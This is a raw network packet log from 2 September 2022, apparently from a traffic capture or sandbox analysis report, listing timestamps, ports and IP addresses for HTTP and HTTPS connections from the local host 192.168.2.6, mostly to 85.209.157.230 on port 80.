Sep 2, 2022 14:02:22.998159885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.998435020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998512983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998518944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.998543024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998555899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.998704910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998788118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998816967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998836994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.999103069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999145031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999166965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.999171972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999186039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.999414921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999460936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.999524117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999551058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999572039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.999893904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999937057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999964952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.999984980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.000004053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000045061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000055075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.000073910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000107050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.000325918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000377893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000433922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.000513077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000550985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000591040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000610113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.000639915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.000650883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000816107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000854969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000884056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.000904083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.001096964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001137018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001163960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001188040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.001439095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001574993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.001600981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001627922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001645088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.001759052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001802921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001832008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.001863003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.002083063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002125025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002151966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.002154112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002178907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.002402067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002440929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002470016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002490044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.002707958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002747059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002777100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002779007 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.002796888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.002917051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002959967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.002985001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.003027916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.003432035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.003473997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.003501892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.003506899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.003526926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.007514954 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:23.007635117 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:23.029314041 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:23.029392004 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:23.029493093 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:23.158960104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159028053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159060955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159075022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159099102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159099102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159140110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159159899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159167051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159198999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159461975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159507036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159528971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159533978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159565926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159801006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159848928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159864902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159877062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.159902096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.159974098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.160013914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.160033941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.160042048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.160065889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.160254955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.160298109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.160311937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.160325050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.160353899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.160988092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161032915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161056995 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.161061049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161083937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.161132097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161171913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161196947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161220074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.161684990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161727905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161756992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161782980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.161890984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161932945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161961079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.161987066 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.162292004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.162352085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.162451982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.162482023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.162503958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.162519932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.162559986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.162587881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.162607908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163021088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163068056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163095951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163132906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163136959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163206100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163235903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163254023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163288116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163753986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163805008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163825035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163836002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163858891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163908005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163947105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163959026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.163976908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.163990021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.164474010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.164518118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.164546967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.164566040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.164587021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.164625883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.164654970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.164666891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.165020943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165067911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165095091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165127039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.165178061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165257931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.165304899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165335894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165385008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.165625095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165656090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165677071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165723085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.165782928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165813923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165832996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.165852070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.165865898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.166341066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166376114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166394949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166435003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.166436911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166465044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166482925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166487932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.166511059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.166940928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166974068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.166994095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167001963 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167021036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167027950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167047024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167066097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167068005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167095900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167368889 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.167488098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167519093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167537928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167566061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167587996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167720079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167776108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.167833090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167854071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.167879105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.168730021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.168812990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.168859005 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.168879032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.168900013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.168927908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.168953896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.168961048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.168973923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.168986082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.169001102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.169012070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.169039965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.169059992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.169075012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.169102907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.169106007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.169152975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.169157982 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.169193983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.169218063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.214776993 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.214797974 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.214824915 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.214922905 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.214937925 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.214978933 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.214989901 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215014935 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215043068 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215051889 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215074062 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215094090 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215116978 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215117931 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215130091 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215226889 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215234995 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215239048 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215254068 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215262890 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215334892 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215372086 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215392113 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215404034 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215424061 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215518951 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215532064 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:23.215549946 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.215699911 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:23.324650049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.324731112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.324767113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.324807882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.324809074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.324847937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.324851036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.324875116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.324887037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.325207949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.325265884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.325300932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.325318098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.325341940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.325381041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.325407982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.325421095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326128006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326169968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326175928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326195955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326224089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326289892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326339006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326374054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326376915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326394081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326725006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326797962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326839924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326869965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326885939 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.326909065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326948881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326977015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.326983929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.327019930 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.327431917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.327476025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.327502966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.327534914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.327542067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.327580929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.327608109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.327622890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.327996969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328059912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.328073978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328102112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328170061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.328269005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328325033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.328367949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328425884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.328471899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328567982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328615904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328640938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328669071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.328680038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328722000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328727007 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.328751087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.328774929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329060078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329108953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329149961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.329165936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.329206944 CEST	80	49787	85.209.157.230	192.168.2.6
